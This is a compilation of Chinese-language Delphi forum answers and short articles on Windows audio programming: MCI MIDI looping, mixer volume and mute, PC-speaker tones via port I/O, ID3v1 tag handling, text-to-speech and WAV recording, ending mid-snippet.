Button1: TButton;

Button2: TButton;

Button3: TButton;

Button4: TButton;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

procedure Button3Click(Sender: TObject);

procedure Button4Click(Sender: TObject);

protected

procedure MCINotify(Var Message:TMessage);Message MM_MCINOTIFY;

private

function SendMCIStr(Const Value:String):PChar;

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

begin

SendMciStr('Open C:123.mid alias mid');

SendMciStr('Play mid notify');

end;

procedure TForm1.MCINotify(var Message: TMessage);

begin

if SendMciStr('Status mid mode')='stopped' then

begin

SendMciStr('Seek mid to start');

SendMciStr('Play mid notify');

end;

end;

function TForm1.SendMCIStr(const Value: String):PChar;

Var Buf:Array[0..4095] of char;

begin

MCISendString(PChar(Value),Buf,Sizeof(Buf),Handle);

Result:=Buf;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

SendMCiStr('Pause mid notify');

end;

procedure TForm1.Button3Click(Sender: TObject);

begin

SendMCiStr('Play mid notify');

end;

procedure TForm1.Button4Click(Sender: TObject);

begin

SendMciStr('Close mid');

end;

end.

回复人：drmy(2000-8-22 21:43:00) 得0分

奇怪的事情发生了。yeah兄你的程序完全正确，不过条件是运行在Windows98下，我测试过了。但是在Windows2000下如果按过pause和resume就会无法再循环播放了。我主要使用Windows2000，还请再费心了，谢谢。

回复人：yeah(2000-8-23 0:16:00) 得23分

今天看到drmy的留言，我急忙装上Win2K（开玩笑）*_^，在D5中运行一遍，果然

不行，于是代码改成这样，别说你又用D4，我要晕倒了:)

unit Unit1;

interface

uses

Windows, Messages, mmsystem,SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

Button3: TButton;

Button4: TButton;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

procedure Button3Click(Sender: TObject);

procedure Button4Click(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

protected

procedure MCINOTIFY(Var Message:TMessage); message MM_MCINOTIFY;

private

nowloop:boolean;

function SendMCIStr(Const Msg:String):PChar;

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

{打开并播放}

procedure TForm1.Button1Click(Sender: TObject);

begin

SendMciStr('open c:123.mid alias mid');

Sendmcistr('play mid notify');

Nowloop:=true;

end;

{Callback}

procedure TForm1.MCINOTIFY(var Message: TMessage);

begin

if nowloop and (SendmciStr('Status mid mode')='stopped') then

begin

sendmcistr('seek mid to start');

sendmcistr('play mid notify');

end;

end;

{暂停(实际上是停止，但效果一样)}

procedure TForm1.Button2Click(Sender: TObject);

begin

nowloop:=False;

mcisendstring('stop mid',nil,0,0);

end;

{恢复(实际上是从当前位置播放，效果一样,

因为SEQ设备不支持Resume命令)}

procedure TForm1.Button3Click(Sender: TObject);

begin

nowloop:=true;

sendmcistr('play mid notify');

end;

{关闭}

procedure TForm1.Button4Click(Sender: TObject);

begin

sendmcistr('close mid');

end;

{公用函数}

function TForm1.SendMCIStr(const Msg: String): PChar;

Var Buf:Array[0..4095] of Char;

begin

MciSendString(PChar(msg),Buf,sizeof(buf),Handle);

Result:=Buf;

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

button4click(nil);

end;

end.

前面那个程序在Win2k不行的原因，我跟踪了一下，原来在Win2k下的Callback中，

只要发送了Pause命令，下次再调用play，在Callback中mode仍为paused，所以就

不能循环喽，这下该结了吧。


音量控制

mute the master volume of your soundcard?

uses

MMSystem;

function GetMasterMute(

Mixer: hMixerObj;

var Control: TMixerControl): MMResult;

// Returns True on success

var

Line: TMixerLine;

Controls: TMixerLineControls;

begin

ZeroMemory(@Line, SizeOf(Line));

Line.cbStruct := SizeOf(Line);

Line.dwComponentType := MIXERLINE_COMPONENTTYPE_DST_SPEAKERS;

Result := mixerGetLineInfo(Mixer, @Line,

MIXER_GETLINEINFOF_COMPONENTTYPE);

if Result = MMSYSERR_NOERROR then

begin

ZeroMemory(@Controls, SizeOf(Controls));

Controls.cbStruct := SizeOf(Controls);

Controls.dwLineID := Line.dwLineID;

Controls.cControls := 1;

Controls.dwControlType := MIXERCONTROL_CONTROLTYPE_MUTE;

Controls.cbmxctrl := SizeOf(Control);

Controls.pamxctrl := @Control;

Result := mixerGetLineControls(Mixer, @Controls,

MIXER_GETLINECONTROLSF_ONEBYTYPE);

end;

end;

procedure SetMasterMuteValue(

Mixer: hMixerObj;

Value: Boolean);

var

MasterMute: TMixerControl;

Details: TMixerControlDetails;

BoolDetails: TMixerControlDetailsBoolean;

Code: MMResult;

begin

Code := GetMasterMute(0, MasterMute);

if Code = MMSYSERR_NOERROR then

begin

with Details do

begin

cbStruct := SizeOf(Details);

dwControlID := MasterMute.dwControlID;

cChannels := 1;

cMultipleItems := 0;

cbDetails := SizeOf(BoolDetails);

paDetails := @BoolDetails;

end;

LongBool(BoolDetails.fValue) := Value;

Code := mixerSetControlDetails(0, @Details,

MIXER_SETCONTROLDETAILSF_VALUE);

end;

if Code <> MMSYSERR_NOERROR then

raise Exception.CreateFmt('SetMasterMuteValue failure, '+

'multimedia system error #%d', [Code]);

end;

// Example:

procedure TForm1.Button1Click(Sender: TObject);

begin

SetMasterMuteValue(0, CheckBox1.Checked); // Mixer device #0 mute on/off

end;

---------------------------------------

mixerSetControlDetails

auxoutsetvolume 是控制CD音量的

waveOutSetVolume 是控制波形的

midiOutSetVolume 是控制FM或者是synthesizer

unit Volume;

interface

uses windows,mmsystem;

type

Tvolume=record

left,right:word; // 取值范围 0--65535

end;

procedure fillstruct(control:PMixerControl;var Cdetails:tMIXERCONTROLDETAILS);

function getpeak(control:PMixerControl;var peak:integer):boolean;

function setvolume(control:Pmixercontrol; volume:Tvolume):boolean;

function getvolume(control:Pmixercontrol; volume:Tvolume):boolean;

var

mcontrols:array of array of array of PMixerControl; //mixer的数组,单声卡可以不用

fmixerhandle:HMIXER; //mixer的句柄

implementation

procedure fillstruct(control:PMixerControl;var Cdetails:tMIXERCONTROLDETAILS);

begin

Cdetails.cbStruct:=sizeof(cdetails);

cdetails.dwControlID:=Control.dwControlID;

cdetails.cbDetails:=sizeof(integer);

cdetails.hwndOwner:=0;

end;

function getpeak(control:PMixerControl;var peak:integer):boolean;

var

details:TMixerControlDetailsSigned;

cdetails:tMIXERCONTROLDETAILS;

begin

Result:=false;

if control.dwControlType<> mixercontrol_controltype_peakmeter then exit;

cdetails.cChannels:=1;

cdetails.paDetails:=@details;

fillstruct(control,cdetails);

result:=mixerGetControlDetails(fmixerhandle,@cdetails,MIXER_GETCONTROLDETAILSF_VALUE)=0;

end;

function setvolume(control:Pmixercontrol; volume:Tvolume):boolean;

var

details:array[0..30] of integer;

cdetails:tMIXERCONTROLDETAILS;

begin

fillstruct(control,cdetails);

cdetails.cChannels:=2;

cdetails.paDetails:=@details;

details[0]:=volume.left;

details[1]:=volume.right;

result:=mixerSetControlDetails(fmixerhandle,@cdetails,MIXER_GETCONTROLDETAILSF_VALUE)=0;

volume.left:=details[0];

volume.right:=details[1];

end;

function getvolume(control:Pmixercontrol; volume:Tvolume):boolean;

var

details:array[0..30] of integer;

cdetails:tMIXERCONTROLDETAILS;

begin

fillstruct(control,cdetails);

cdetails.cChannels:=2;

cdetails.paDetails:=@details;

result:=mixerGetControlDetails(fmixerhandle,@cdetails,MIXER_GETCONTROLDETAILSF_VALUE)=0;

volume.left:=details[0];

volume.right:=details[1];

end;

end.

// 调用方法:

procedure TForm1.Button1Click(Sender: TObject);

var s : Tvolume;

kz : Pmixercontrol;

begin

new(kz); //<------------ 此处一定要分配内存

kz.dwControlID := 0;

s.left := 0;

s.right := 0;

try

setvolume(kz,s);

except

end;

freemem(kz);

end;


PC喇叭发声

：sunstone 时间：00-9-3 7:51:42 ID:325632

送你一个控件

unit PCSpk;

{* Program : PCSpk.Pas

Purpose : TPCSpeaker Component

Author Version Last Changed Comments

------ ------- ------------ --------

Song Weng Sam 1.01 Aug. 28, 96 Initial Release (Version set to 1.01

to match the 16bit version which is

currently 1.01 too.)

*}

interface

uses

Classes, WinProcs, Forms;

type

TPCSpeaker = class(TComponent)

private

{ Private declarations }

procedure NoSound;

procedure Sound(Freq: Word);

procedure SetPort(address, value: Word);

function GetPort(address: Word): Word;

protected

{ Protected declarations }

public

{ Public declarations }

procedure Delay(MSecs: Integer);

procedure Play(Freq: Word; MSecs: Integer);

procedure Stop;

published

{ Published declarations }

end;

procedure Register;

implementation

procedure TPCSpeaker.NoSound;

var

wValue: Word;

begin

wValue := GetPort($61);

wValue := wValue and $FC;

SetPort($61, wValue);

end;

procedure TPCSpeaker.Sound(Freq: Word);

var

B: Word;

begin

if Freq > 18 then begin

Freq := Word(1193181 div LongInt(Freq));

B := GetPort($61);

if (B and 3) = 0 then begin

SetPort($61, B or 3);

SetPort($43, $B6);

end;

SetPort($42, Freq);

SetPort($42, (Freq SHR 8));

end;

end;

procedure TPCSpeaker.Delay(MSecs: Integer);

var

FirstTickCount : LongInt;

begin

FirstTickCount:=GetTickCount;

repeat

Application.ProcessMessages; {allowing access to other controls, etc.}

until ((GetTickCount-FirstTickCount) >= LongInt(MSecs));

end;

procedure TPCSpeaker.Play(Freq: Word; MSecs: Integer);

begin

Sound(Freq);

Delay(MSecs);

NoSound;

end;

procedure TPCSpeaker.Stop;

begin

NoSound;

end;

procedure TPCSpeaker.SetPort(address, value: Word);

var

bValue: Byte;

begin

bValue := trunc(value and 255);

asm

mov DX, address

mov AL, bValue

out DX, AL

end;

end;

function TPCSpeaker.GetPort(address: Word): Word;

var

bValue: Byte;

begin

asm

mov DX, address

in AL, DX

mov bValue, AL

end;

result := bValue;

end;

procedure Register;

begin

RegisterComponents('Sun', [TPCSpeaker]);

end;

end.

--------------------------------------------------------------------------------

来自：浦欣 时间：00-9-4 1:29:47 ID:326342

sunstone的这个控件实际上和原来提问中的那段程序一样，但我还想要得是一些声音例子，就象

“电子日记本”的“备忘录”中，有一些做好的声音可选！

或者给出每个调所对应的频率

来自：terry_lzs 时间：00-10-24 10:48:33 ID:374463

用汇编吧

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

Tpcspeaker = class(TForm)

Button1: TButton;

Button2: TButton;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

procedure NoSound;

procedure Sound(Freq: Word);

procedure SetPort(address, value: Word);

function GetPort(address: Word): Word;

{ Private declarations }

public

procedure Delay(MSecs: Integer);

procedure Play(Freq: Word; MSecs: Integer);

{ Public declarations }

end;

var

pcspeaker: Tpcspeaker;

implementation

{$R *.DFM}

procedure TPCSpeaker.NoSound;

var

wValue: Word;

begin

wValue := GetPort($61);

wValue := wValue and $FC;

SetPort($61, wValue);

end;

procedure TPCSpeaker.Sound(Freq: Word);

var

B: Word;

begin

if Freq > 18 then begin

Freq := Word(1193181 div LongInt(Freq));

B := GetPort($61);

B := GetPort($61);

if (B and 3) = 0 then begin

SetPort($61, B or 3);

SetPort($43, $B6);

end;

SetPort($42, Freq);

SetPort($42, (Freq SHR 8));

end;

end;

procedure TPCSpeaker.Delay(MSecs: Integer);

var

FirstTickCount : LongInt;

begin

FirstTickCount:=GetTickCount;

repeat

Application.ProcessMessages; {allowing access to other controls,

etc.}

until ((GetTickCount-FirstTickCount) >= LongInt(MSecs));

end;

procedure TPCSpeaker.Play(Freq: Word; MSecs: Integer);

begin

Sound(Freq);

Delay(MSecs);

//NoSound;

end;

procedure TPCSpeaker.SetPort(address, value: Word);

var

bValue: Byte;

begin

bValue := trunc(value and 255);

asm

mov DX, address

mov AL, bValue

out DX, AL

end;

end;

function TPCSpeaker.GetPort(address: Word): Word;

var

bValue: Byte;

begin

asm

mov DX, address

in AL, DX

mov bValue, AL

end;

result := bValue;

end;

procedure Tpcspeaker.Button1Click(Sender: TObject);

begin

play(1800,100);//由这两个参数控制音调

end;

procedure Tpcspeaker.Button2Click(Sender: TObject);

begin

NoSound;

end;

end.

来自：whb_li 时间：00-10-26 0:17:21 ID:376428

to terry_lzs: 打扰，我用你的代码调试了一下，发现

asm

mov DX, address

in AL, DX /////这一行出错

mov bValue, AL

end;

--------------------------------------------------------------------------------

来自：terry_lzs 时间：00-10-26 8:27:07 ID:376539

to whb_li:我在我的电脑上用delphi 4和delphi 5都试过了，没有问题。

如果你是把网页上的直接拷贝到unit上请注意删除一些不可见的字符。

我以前有遇到这种问题的。

--------------------------------------------------------------------------------

来自：pino 时间：00-11-21 9:49:23 ID:399668

在nt下不能直接对端口操作，可以用api messagebeep

而在win9x下就不能用api，可以在代码里面根据系统选择实现方式

来自：xjktthq 时间：00-11-21 9:57:09 ID:399678

for i:=9 to 20 do

windows.beep(i*130,20);

--------------------------------------------------------------------------------

来自：cat.yy 时间：01-1-31 23:25:07 ID:445935

呀呀 鞋都跑丢了 不知能否帮上忙

(用API 如果有声卡 好像有点麻烦)

*------------------------------- DLL 的 dpr 代码 --------------

library SpeakSound;

//uses

// SysUtils,

// Classes,

procedure pcSound(dFreq:Double;wLong:Word);export;

var

wFreq:word;

begin

wFreq := round(1192576/dFreq);

asm

push ax

push bx

push cx

push dx

push di

mov al,0B6H

out 43H,al

mov dx,12H

mov ax,wFreq

out 42H,al

mov al,ah

out 42H,al

in al,61H

mov ah,al

or al,3

out 61H,al

@wait1:

mov cx,wLong

@delay:

dec cx

jnz @delay

dec bx

jnz @wait1

mov al,0B6H

out 43H,al

mov al,ah

out 61H,al

pop di

pop dx

pop cx

pop bx

pop ax

end;

end;

exports

pcSound;

begin

end.

* ------------------------------ 调用的例子 ------------------

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

var

DLLName:string;

Buffer:array[0..127] of Char;

LIB:THandle;

pcSound:procedure(dFreq:Double;wLong:Word);

begin

DLLName := 'SpeakSound.dll';

StrPCopy(Buffer,DLLName);

Lib := LoadLibrary(Buffer);

if not(Lib=0) then

try

pcSound := GetProcAddress(Lib,'pcSound');

pcsound(440.0,1000);

Finally

FreeLibrary(Lib);

end

else

Showmessage('failed');

end;

end.

{

261.7 c

293.7 d

329.6 e

349.2 f

392.0 g

440.0 a

493.9 b

}

--------------------------------------------------------------------------------

来自：悲酥清风 时间：01-2-6 16:23:18 ID:450522

AHM2000 Freeware 中有个PcSpeaker控件，带源码的，源码在AHM2000的主叶上有！

来自：Iknow 时间：01-2-6 17:36:31 ID:450601

^_^ 连cdefgab都出来了. 音乐功底不错嘛.

c=1, d=2, ... ^_^

其实如果是在Windows下, 为什么不尝试用系统中的声卡设备(如果有的话)?

DOS下如果用Borland Pascal的话, 可以用sound(frequency);delay(duration);nosound;

组合来发声, 效果还可以的.


mp3 ID3标签信息

严黎斌

unit ID3Kernel;

interface

type

Tid3v1= record

Tag: array[0..2] of char; //00..02 , ='TAG'

Title:array[0..$1d] of char; //03..20

Artist:array[0..$1d] of char; //21..3e

Album:array[0..$1d] of char; //3f..5c

Year:array[0..3] of char; //5d..60

Comment:array[0..$1c] of char; //61..7d

Track:byte; //7e

Genre:byte; //7f

end;

function ReadID3v1(strFile:string;var pid3v1:Tid3v1):integer;

function WriteID3v1(strFile:string;var pid3v1:Tid3v1):integer;

function DeleteID3v1(strFile:string):integer;

implementation

function ReadID3v1(strFile:string;var pid3v1:Tid3v1):integer;

var

f1:file of byte;

bytAll: array [0..$7f] of byte;

i: integer;

begin

result:=1;

if strFile='' then exit;

AssignFile(f1,strFile);

FileMode:=0;

Reset(f1);

if FileSize(f1)<=$80 then exit;

Seek(f1, FileSize(f1)-$80);

for i:=0 to $7f do Read(f1,bytAll[i]);

if (bytAll[0]<>ord('T')) and (bytAll[1]<>ord('A'))

and (bytAll[2]<>ord('G')) then exit; // no 'TAG' found

Move(bytAll,pid3v1,$80);

CloseFile(f1);

result:=0;

end;

function WriteID3v1(strFile:string;var pid3v1:Tid3v1):integer;

var

f1:file of byte;

bytAll: array [0..$7f] of byte;

i: integer;

begin

result:=1;

AssignFile(f1,strFile);

FileMode:=2;

Reset(f1);

if FileSize(f1)<=$80 then exit;

Seek(f1, FileSize(f1)-$80);

for i:=0 to $2 do Read(f1,bytAll[i]); // test if 'TAG' exists

if (bytAll[0]=ord('T')) and (bytAll[1]=ord('A'))

and (bytAll[2]=ord('G'))

then Seek(f1,FileSize(f1)-$80)

else Seek(f1,FileSize(f1));

Move(pid3v1,bytAll,$80);

for i:=0 to $7f do Write(f1,bytAll[i]);

CloseFile(f1);

result:=0;

end;

function DeleteID3v1(strFile:string):integer;

var

f1:file of byte;

bytAll: array [0..$7f] of byte;

i: integer;

begin

Result:=1;

AssignFile(f1,strFile);

FileMode:=2;

Reset(f1);

if FileSize(f1)<=$80 then exit;

Seek(f1, FileSize(f1)-$80);

for i:=0 to $2 do Read(f1,bytAll[i]); // test if 'TAG' exists

if (bytAll[0]=ord('T')) and (bytAll[1]=ord('A'))

and (bytAll[2]=ord('G'))

then begin

Seek(f1,FileSize(f1)-$80);

Truncate(f1)

end;

CloseFile(f1);

Result:=0;

end;

end.

***********************************************

{

Byte 1-3 = ID 'TAG'

Byte 4-33 = Titel / Title

Byte 34-63 = Artist

Byte 64-93 = Album

Byte 94-97 = Jahr / Year

Byte 98-127 = Kommentar / Comment

Byte 128 = Genre

}

type

TID3Tag = record

ID: string[3];

Titel: string[30];

Artist: string[30];

Album: string[30];

Year: string[4];

Comment: string[30];

Genre: Byte;

end;

const

Genres : array[0..146] of string =

('Blues','Classic Rock','Country','Dance','Disco','Funk','Grunge',

'Hip- Hop','Jazz','Metal','New Age','Oldies','Other','Pop','R&B',

'Rap','Reggae','Rock','Techno','Industrial','Alternative','Ska',

'Death Metal','Pranks','Soundtrack','Euro-Techno','Ambient',

'Trip-Hop','Vocal','Jazz+Funk','Fusion','Trance','Classical',

'Instrumental','Acid','House','Game','Sound Clip','Gospel','Noise',

'Alternative Rock','Bass','Punk','Space','Meditative','Instrumental Pop',

'Instrumental Rock','Ethnic','Gothic','Darkwave','Techno-Industrial','Electronic',

'Pop-Folk','Eurodance','Dream','Southern Rock','Comedy','Cult','Gangsta',

'Top 40','Christian Rap','Pop/Funk','Jungle','Native US','Cabaret','New Wave',

'Psychadelic','Rave','Showtunes','Trailer','Lo-Fi','Tribal','Acid Punk',

'Acid Jazz','Polka','Retro','Musical','Rock & Roll','Hard Rock','Folk',

'Folk-Rock','National Folk','Swing','Fast Fusion','Bebob','Latin','Revival',

'Celtic','Bluegrass','Avantgarde','Gothic Rock','Progressive Rock',

'Psychedelic Rock','Symphonic Rock','Slow Rock','Big Band','Chorus',

'Easy Listening','Acoustic','Humour','Speech','Chanson','Opera',

'Chamber Music','Sonata','Symphony','Booty Bass','Primus','Porn Groove',

'Satire','Slow Jam','Club','Tango','Samba','Folklore','Ballad',

'Power Ballad','Rhytmic Soul','Freestyle','Duet','Punk Rock','Drum Solo',

'Acapella','Euro-House','Dance Hall','Goa','Drum & Bass','Club-House',

'Hardcore','Terror','Indie','BritPop','Negerpunk','Polsk Punk','Beat',

'Christian Gangsta','Heavy Metal','Black Metal','Crossover','Contemporary C',

'Christian Rock','Merengue','Salsa','Thrash Metal','Anime','JPop','SynthPop');

var

Form1: TForm1;

implementation

{$R *.dfm}

function readID3Tag(FileName: string): TID3Tag;

var

FS: TFileStream;

Buffer: array [1..128] of Char;

begin

FS := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);

try

FS.Seek(-128, soFromEnd);

FS.Read(Buffer, 128);

with Result do

begin

ID := Copy(Buffer, 1, 3);

Titel := Copy(Buffer, 4, 30);

Artist := Copy(Buffer, 34, 30);

Album := Copy(Buffer, 64, 30);

Year := Copy(Buffer, 94, 4);

Comment := Copy(Buffer, 98, 30);

Genre := Ord(Buffer[128]);

end;

finally

FS.Free;

end;

end;

procedure TfrmMain.Button1Click(Sender: TObject);

begin

if OpenDialog1.Execute then

begin

with readID3Tag(OpenDialog1.FileName) do

begin

LlbID.Caption := 'ID: ' + ID;

LlbTitel.Caption := 'Titel: ' + Titel;

LlbArtist.Caption := 'Artist: ' + Artist;

LlbAlbum.Caption := 'Album: ' + Album;

LlbYear.Caption := 'Year: ' + Year;

LlbComment.Caption := 'Comment: ' + Comment;

if (Genre >= 0) and (Genre <=146) then

LlbGenre.Caption := 'Genre: ' + Genres[Genre]

else

LlbGenre.Caption := 'N/A';

end;

end;

end;


TTS语音

本人用TTS做了个背单词的EXE。省去了取词的部分，哪位富翁愿意的话，

请将之完善。也请给我寄一份。源码如下：

unit word1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

VTxtAuto_TLB, StdCtrls, ComCtrls, Mask, FileCtrl;

type

TForm1 = class(TForm)

speedtext: TStaticText;

speed: TTrackBar;

Button1: TButton;

Edit1: TEdit;

Button2: TButton;

gettext: TLabel;

procedure FormCreate(Sender: TObject);

procedure stopbtnClick(Sender: TObject);

procedure speedChange(Sender: TObject);

procedure prebtnClick(Sender: TObject);

procedure nextbtnClick(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

procedure Edit1KeyPress(Sender: TObject; var Key: Char);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

TTS:IVTxtAuto;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

TTS:=CoVtxtAuto_.Create;

TTS.Register('superwords','superwords');

speed.Position:=TTS.Get_Speed;

speedtext.caption:='速度：'+inttostr(speed.position);

speed.SelEnd:=speed.Position;

//filelistbox1.Mask:= '所有文件(*.*)|*.*| 文本文件(*.txt)|*.txt';

end;

procedure TForm1.stopbtnClick(Sender: TObject);

begin

TTS.StopSpeaking;

end;

procedure TForm1.speedChange(Sender: TObject);

begin

TTS.Set_Speed(speed.position);

speedtext.caption:='速度：'+inttostr(speed.position);

speed.SelEnd:=speed.Position;

end;

procedure TForm1.prebtnClick(Sender: TObject);

begin

TTS.AudioRewind;

end;

procedure TForm1.nextbtnClick(Sender: TObject);

begin

TTS.AudioFastForward;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

TTS:=nil;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

close;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

TTS.Speak(Edit1.text,vtxtst_READING);

end;

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);

begin

if (length(trim(edit1.text))>0) and (key=chr(32))

then begin if trim(edit1.text)=gettext.Caption

then begin

TTS.Speak(edit1.Text,vtxtst_COMMAND);

edit1.Clear;

end

else TTS.Speak('YOU ARE WRONG',vtxtst_STATEMENT);

end;

end;

end.

有问题可向我提出。mailto:zyuz@china.com


关闭打开声道

关闭声道

uses MMSystem;

procedure SetMediaAudioOff(DeviceID : word);

var

SetParm : TMCI_SET_PARMS;

begin

SetParm.dwAudio := MCI_SET_AUDIO_ALL;

mciSendCommand(DeviceID,

MCI_SET,

MCI_SET_AUDIO or MCI_SET_OFF,

Longint(@SetParm));

end;

Procedure SetMediaAudioOn(DeviceID : word);

var

SetParm : TMCI_SET_PARMS;

begin

SetParm.dwAudio := MCI_SET_AUDIO_ALL;

mciSendCommand(DeviceID,

MCI_SET,

MCI_SET_AUDIO or MCI_SET_ON,

Longint(@SetParm));

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

{Play AVI file silently}

MediaPlayer1.FileName := 'C:.AVI';

MediaPlayer1.Display := Panel1;

MediaPlayer1.Open;

MediaPlayer1.Play;

SetMediaAudioOff(MediaPlayer1.DeviceId);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

{Play AVI with sound}

MediaPlayer1.FileName := 'C:.AVI';

MediaPlayer1.Display := Panel1;

MediaPlayer1.Open;

MediaPlayer1.Play;

SetMediaAudioOn(MediaPlayer1.DeviceId);

end;


Delphi制作录音程序

如何用Delphi制作录音程序

陈经韬

Delphi是Inprise(前Borland)公司的优秀的可视化编程工具，它自带的Mediaplayer控件是开发多媒体的利器。用它几分钟就可以做出一个象解霸一样可以播放多媒体文件的程序来。但可能很少人知道，用它也可以做一个录音程序。

运行Delphi,在System页拖一个Mediaplayer控件到窗体上,默认名为Mediaplayer1。由于我们的程序是采用自己的按钮，所以将Mediaplayer1的Visible属性设置为False，其它属性保持默认值。再放两个按钮Button1和Button2。Button1的属性Name改为BtStart,Caption改为"开始录音", Button2的属性Name改为BtStop,Caption改为"停止录音",Enabled属性改为False。然后切换窗口到代码窗口，开始书写代码。

程序中，我们定义了一个Wav文件的文件头格式，录音时先创建一个只有文件头的Wav文件，然后将Mediaplayer1录制下来的声音写进文件。其中CreateWav过程的几个参数意义如下:第一个channels代表声道，取1时代表单声，取2时代表立体声。resolution也只有两个值可以选择，取8时代表8位声音，取16时代表16位声音，rate则代表声音频率，如11025,22050, 44100。值越大则声音越清晰，当然，所录制的文件也越大。最后一个参数则代表对应的文件名称了。所以CreateWav可以有以下形式:

CreateWav(1,8,11025,'C:.wav');//在C盘根目录下创建一个8位单声道频率为11025的名为abc.wav的Wav文件

CreateWav(2,16,44100,'C:.wav');//在C盘根目录下创建一个16位立体声道频率为44100的名为abc.wav的Wav文件

外国一个很出名的用Delphi编写的远程控制软件Netbus有一个声音监听功能，就是用本文的方法写的。它先把对方的声音录制下来，然后传送回来，达到监听对方的目的。当然，前提是对方必须安装有话筒，否则监听到的是对方播放的声音（如打开解霸或者Readplay播放，运行本程序，就可以把播放的声音录制下来了）。

实际上，现在的网络声音传播技术已经发展到一定阶段，语音对讲和IP电话等也开始成熟。不过它们采用的是VOX格式或者ACM格式，具体代码可以在我的主页http://Lovejingtao.126.com下载。但如果对VOX或者ACM格式不熟悉的朋友，也可以用本文的方法来制作自己的“录音机”。至于如何调用系统自带的avifil32.dll来进行网络视频播放，在有机会时再跟大家交流吧。

本程序在Pwin98+Delphi5下通过。

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, MPlayer;

type

TWavHeader = record //定义一个Wav文件头格式

rId : longint;

rLen : longint;

wId : longint;

fId : longint;

fLen : longint;

wFormatTag : word;

nChannels : word;

nSamplesPerSec : longint;

nAvgBytesPerSec : longint;

nBlockAlign : word;

wBitsPerSample : word;

dId : longint;

wSampleLength : longint;

end;

TForm1 = class(TForm)

MediaPlayer1: TMediaPlayer;

BtStart: TButton;

BtStop: TButton;

procedure CreateWav(channels : word; resolution : word; rate : longint; fn : string);//自定义写一个Wav文件头过程

procedure BtStartClick(Sender: TObject);

procedure BtStopClick(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.CreateWav( channels : word; { 1(单声)或者2(立体声) }

resolution : word; { 8或者16,代表8位或16位声音 }

rate : longint; { 声音频率,如11025,22050, 44100}

fn : string { 对应的文件名称 } );

var

wf : file of TWavHeader;

wh : TWavHeader;

begin

wh.rId := $46464952;

wh.rLen := 36;

wh.wId := $45564157;

wh.fId := $20746d66;

wh.fLen := 16;

wh.wFormatTag := 1;

wh.nChannels := channels;

wh.nSamplesPerSec := rate;

wh.nAvgBytesPerSec := channels*rate*(resolution div 8);

wh.nBlockAlign := channels*(resolution div 8);

wh.wBitsPerSample := resolution;

wh.dId := $61746164;

wh.wSampleLength := 0;

assignfile(wf,fn); {打开对应文件 }

rewrite(wf); {移动指针到文件头}

write(wf,wh); {写进文件头 }

closefile(wf); {关闭文件 }

end;

procedure TForm1.BtStartClick(Sender: TObject);

begin

try

//在程序当前目录下创建一个Wav文件Temp.wav

CreateWav(1, 8, 11025, (ExtractFilePath(Application.ExeName)+ 'Temp.wav'));

MediaPlayer1.DeviceType := dtAutoSelect;

MediaPlayer1.FileName := (ExtractFilePath(Application.ExeName)+ 'Temp.wav');

MediaPlayer1.Open;

MediaPlayer1.StartRecording;

BtStart.Enabled:=false;

BtStop.Enabled:=true;

except

BtStart.Enabled:=True;

BtStop.Enabled:=false;

Application.MessageBox('媒体设备初始化失败！','错误',MB_ICONERROR+MB_OK);

end;

end;

procedure TForm1.BtStopClick(Sender: TObject);

begin

try

MediaPlayer1.Stop;

MediaPlayer1.Save;

MediaPlayer1.Close;

Application.MessageBox('声音录制完毕!','信息',MB_ICONINFORMATION+MB_OK);

BtStart.Enabled:=True;

BtStop.Enabled:=false;

except

Application.MessageBox('保存声音文件出错!','错误',MB_ICONERROR+MB_OK);

BtStart.Enabled:=True;

BtStop.Enabled:=false;

end;

end;

end.

补充：1、录制的文件播放时可能要把音频属性的Wav调大。

2、如果系统安装了其它一些音频驱动程序，则可能录制的Wav文件大小为零，但会同时生成一个TMP结尾的文件，将其扩展名改为Wav就是录制的声音文件。但这种情况很少发生。（机会几乎为零^-^）

3、本程序在运行解霸和Replayer下录制声音通过。

★作者:

陈经韬

Http:Lovejingtao.126.com

E-Mail: Lovejingtao@21.cn.com


选择CD的问题

如果我有两个光驱,在使用媒体播放器(Mediaplayer)播放CD时,如何选择播放哪一个?

在 Filename 里输入 驱动器号即可选择光驱播放CD


录音机的程序

我这里给你贴一个我写的程序段，看不明白就算了。

// 全局变量

var

BufferFinished : boolean; // indicates current record buffer is full

.

UserStopRecord: boolean;

Recording: boolean;

WaveInHandle: HWaveIn;

CurrentUsingBuffer: integer;

WaveInHeader1: TWaveHdr;

